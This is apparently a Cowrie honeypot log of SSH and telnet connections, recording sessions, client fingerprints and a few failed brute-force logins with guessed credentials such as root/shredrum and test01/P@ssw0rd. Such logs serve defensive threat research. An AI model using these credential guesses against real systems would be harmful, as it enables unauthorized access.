{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:29.638257Z","src_ip":"220.247.224.226","session":"c84c714b1dfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test01","password":"P@ssw0rd","message":"login attempt [test01/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:30.534367Z","src_ip":"220.247.224.226","session":"c84c714b1dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":41440,"dst_ip":"159.203.135.109","dst_port":23,"session":"028be46f8248","protocol":"telnet","message":"New connection: 74.208.239.44:41440 (159.203.135.109:23) [session: 028be46f8248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:30.686172Z"}
{"eventid":"cowrie.session.closed","duration":59.656059980392456,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:31.322253Z","src_ip":"64.227.101.30","session":"44accc08e6f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:31.765460Z","src_ip":"220.247.224.226","session":"c84c714b1dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":42246,"dst_ip":"159.203.135.109","dst_port":23,"session":"e95e4417ac8b","protocol":"telnet","message":"New connection: 74.208.239.44:42246 (159.203.135.109:23) [session: e95e4417ac8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:31.856801Z"}
{"eventid":"cowrie.session.closed","duration":36.3493230342865,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:31.961569Z","src_ip":"64.227.101.30","session":"89511db8f5e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":42982,"dst_ip":"159.203.135.109","dst_port":23,"session":"e195c72d17e7","protocol":"telnet","message":"New connection: 74.208.239.44:42982 (159.203.135.109:23) [session: e195c72d17e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:32.600077Z"}
{"eventid":"cowrie.session.closed","duration":31.8095645904541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:32.885258Z","src_ip":"74.208.239.44","session":"70958d96997b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54468,"dst_ip":"10.17.0.5","dst_port":23,"session":"64f3ff5abfe9","protocol":"telnet","message":"New connection: 64.227.101.30:54468 (10.17.0.5:23) [session: 64f3ff5abfe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:32.893257Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58020,"dst_ip":"159.203.135.109","dst_port":23,"session":"a35b28489a4e","protocol":"telnet","message":"New connection: 161.97.105.174:58020 (159.203.135.109:23) [session: a35b28489a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:33.337620Z"}
{"eventid":"cowrie.session.closed","duration":35.95863938331604,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:33.850637Z","src_ip":"64.227.101.30","session":"a1096defbccd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.32045531272888,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:34.173420Z","src_ip":"64.227.101.30","session":"4c1c086bacd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55672,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bc7ead9de1b","protocol":"telnet","message":"New connection: 64.227.101.30:55672 (10.17.0.5:23) [session: 7bc7ead9de1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:35.070853Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":44794,"dst_ip":"159.203.135.109","dst_port":23,"session":"a879e0f32a81","protocol":"telnet","message":"New connection: 74.208.239.44:44794 (159.203.135.109:23) [session: a879e0f32a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:35.142726Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":44832,"dst_ip":"159.203.135.109","dst_port":23,"session":"e97e05015d90","protocol":"telnet","message":"New connection: 74.208.239.44:44832 (159.203.135.109:23) [session: e97e05015d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:35.172616Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":44856,"dst_ip":"159.203.135.109","dst_port":23,"session":"320db17aa876","protocol":"telnet","message":"New connection: 74.208.239.44:44856 (159.203.135.109:23) [session: 320db17aa876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:35.210984Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":45336,"dst_ip":"159.203.135.109","dst_port":23,"session":"69ccfd162c80","protocol":"telnet","message":"New connection: 74.208.239.44:45336 (159.203.135.109:23) [session: 69ccfd162c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:35.746017Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58036,"dst_ip":"159.203.135.109","dst_port":23,"session":"45b2861f28aa","protocol":"telnet","message":"New connection: 161.97.105.174:58036 (159.203.135.109:23) [session: 45b2861f28aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:35.946602Z"}
{"eventid":"cowrie.session.closed","duration":31.202311992645264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:36.077717Z","src_ip":"74.208.239.44","session":"542a51195b1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":45874,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcae46a86454","protocol":"telnet","message":"New connection: 74.208.239.44:45874 (159.203.135.109:23) [session: dcae46a86454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:36.512569Z"}
{"eventid":"cowrie.session.closed","duration":30.78678321838379,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:38.541851Z","src_ip":"74.208.239.44","session":"40403c4b3c32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.311283349990845,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:39.256585Z","src_ip":"64.227.101.30","session":"195d573c061d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":47976,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e11a323b68e","protocol":"telnet","message":"New connection: 74.208.239.44:47976 (159.203.135.109:23) [session: 5e11a323b68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:39.407647Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":44666,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a7f691b9198","protocol":"ssh","message":"New connection: 209.99.189.174:44666 (10.17.0.5:22) [session: 1a7f691b9198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:39.417910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:39.423105Z","src_ip":"209.99.189.174","session":"1a7f691b9198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:39.553337Z","src_ip":"209.99.189.174","session":"1a7f691b9198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!Q2w#E4r","message":"login attempt [test/!Q2w#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:40.093699Z","src_ip":"209.99.189.174","session":"1a7f691b9198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40038,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bc75e937f60","protocol":"telnet","message":"New connection: 161.97.105.174:40038 (159.203.135.109:23) [session: 1bc75e937f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:40.272108Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57486,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6df6a10a882","protocol":"telnet","message":"New connection: 64.227.101.30:57486 (10.17.0.5:23) [session: a6df6a10a882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:40.548651Z"}
{"eventid":"cowrie.session.closed","duration":38.71847105026245,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:40.686205Z","src_ip":"64.227.101.30","session":"b1c3248ff94c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":48878,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0a76d484d9","protocol":"telnet","message":"New connection: 74.208.239.44:48878 (159.203.135.109:23) [session: fb0a76d484d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:40.906471Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:41.223422Z","src_ip":"209.99.189.174","session":"1a7f691b9198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":49472,"dst_ip":"159.203.135.109","dst_port":23,"session":"222bbefae116","protocol":"telnet","message":"New connection: 74.208.239.44:49472 (159.203.135.109:23) [session: 222bbefae116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:41.882191Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":49930,"dst_ip":"159.203.135.109","dst_port":23,"session":"f03849b018b8","protocol":"telnet","message":"New connection: 74.208.239.44:49930 (159.203.135.109:23) [session: f03849b018b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:42.613426Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":50692,"dst_ip":"159.203.135.109","dst_port":23,"session":"5432e0166528","protocol":"telnet","message":"New connection: 74.208.239.44:50692 (159.203.135.109:23) [session: 5432e0166528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:43.704908Z"}
{"eventid":"cowrie.session.closed","duration":33.01660132408142,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:44.238434Z","src_ip":"161.97.105.174","session":"bf2c880e6098","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55042,"dst_ip":"10.17.0.5","dst_port":23,"session":"d22d372ad028","protocol":"telnet","message":"New connection: 64.227.101.30:55042 (10.17.0.5:23) [session: d22d372ad028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:44.537395Z"}
{"eventid":"cowrie.session.closed","duration":0.004813432693481445,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:44.542086Z","src_ip":"64.227.101.30","session":"d22d372ad028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":51630,"dst_ip":"159.203.135.109","dst_port":23,"session":"854208752d10","protocol":"telnet","message":"New connection: 74.208.239.44:51630 (159.203.135.109:23) [session: 854208752d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:45.156754Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":51864,"dst_ip":"159.203.135.109","dst_port":23,"session":"b17d21add8d4","protocol":"telnet","message":"New connection: 74.208.239.44:51864 (159.203.135.109:23) [session: b17d21add8d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:45.424815Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40050,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d04e7f97031","protocol":"telnet","message":"New connection: 161.97.105.174:40050 (159.203.135.109:23) [session: 7d04e7f97031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:45.975193Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":52272,"dst_ip":"159.203.135.109","dst_port":23,"session":"91383bf61259","protocol":"telnet","message":"New connection: 74.208.239.44:52272 (159.203.135.109:23) [session: 91383bf61259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:46.227087Z"}
{"eventid":"cowrie.session.closed","duration":31.44563126564026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:46.449239Z","src_ip":"74.208.239.44","session":"04a48c8a85cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":52512,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2b48d06cdfd","protocol":"telnet","message":"New connection: 74.208.239.44:52512 (159.203.135.109:23) [session: b2b48d06cdfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:46.506630Z"}
{"eventid":"cowrie.session.closed","duration":31.2324161529541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:47.239924Z","src_ip":"74.208.239.44","session":"fc0e97e84052","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":53452,"dst_ip":"159.203.135.109","dst_port":23,"session":"89d34c20a615","protocol":"telnet","message":"New connection: 74.208.239.44:53452 (159.203.135.109:23) [session: 89d34c20a615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:47.380040Z"}
{"eventid":"cowrie.session.closed","duration":58.77840518951416,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:47.640800Z","src_ip":"64.227.101.30","session":"0da5d22f6ded","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":54432,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bc93da1b418","protocol":"telnet","message":"New connection: 74.208.239.44:54432 (159.203.135.109:23) [session: 1bc93da1b418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:48.617254Z"}
{"eventid":"cowrie.session.closed","duration":43.06381297111511,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:48.711954Z","src_ip":"64.227.101.30","session":"44e8d32e04f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":54836,"dst_ip":"159.203.135.109","dst_port":23,"session":"aabd25378177","protocol":"telnet","message":"New connection: 74.208.239.44:54836 (159.203.135.109:23) [session: aabd25378177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:49.203654Z"}
{"eventid":"cowrie.session.closed","duration":33.245341777801514,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:49.527626Z","src_ip":"161.97.105.174","session":"329eee7af6b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960843563079834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:50.023997Z","src_ip":"74.208.239.44","session":"740d98f6fdf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":56030,"dst_ip":"159.203.135.109","dst_port":23,"session":"c75b7a06d43f","protocol":"telnet","message":"New connection: 74.208.239.44:56030 (159.203.135.109:23) [session: c75b7a06d43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:51.072372Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":56442,"dst_ip":"159.203.135.109","dst_port":23,"session":"26ce7a3d5ab3","protocol":"telnet","message":"New connection: 74.208.239.44:56442 (159.203.135.109:23) [session: 26ce7a3d5ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:51.680826Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":56540,"dst_ip":"159.203.135.109","dst_port":23,"session":"d88b59414985","protocol":"telnet","message":"New connection: 74.208.239.44:56540 (159.203.135.109:23) [session: d88b59414985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:51.824842Z"}
{"eventid":"cowrie.session.closed","duration":40.7577862739563,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:52.220910Z","src_ip":"64.227.101.30","session":"1f4aca07a4c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41764,"dst_ip":"10.17.0.5","dst_port":22,"session":"296552198719","protocol":"ssh","message":"New connection: 193.32.162.145:41764 (10.17.0.5:22) [session: 296552198719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:52.526511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:52.664506Z","src_ip":"193.32.162.145","session":"296552198719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:52.766964Z","src_ip":"193.32.162.145","session":"296552198719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shredrum","message":"login attempt [root/shredrum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:53.096038Z","src_ip":"193.32.162.145","session":"296552198719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":57682,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b653762de4","protocol":"telnet","message":"New connection: 74.208.239.44:57682 (159.203.135.109:23) [session: 12b653762de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:53.526463Z"}
{"eventid":"cowrie.session.closed","duration":68.20745730400085,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:53.913255Z","src_ip":"64.227.101.30","session":"30601a7f0698","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:54.203632Z","src_ip":"193.32.162.145","session":"296552198719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37726,"dst_ip":"10.17.0.5","dst_port":23,"session":"b78e02013eb5","protocol":"telnet","message":"New connection: 64.227.101.30:37726 (10.17.0.5:23) [session: b78e02013eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:54.905559Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":58510,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d15fbba182b","protocol":"telnet","message":"New connection: 74.208.239.44:58510 (159.203.135.109:23) [session: 2d15fbba182b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:54.977094Z"}
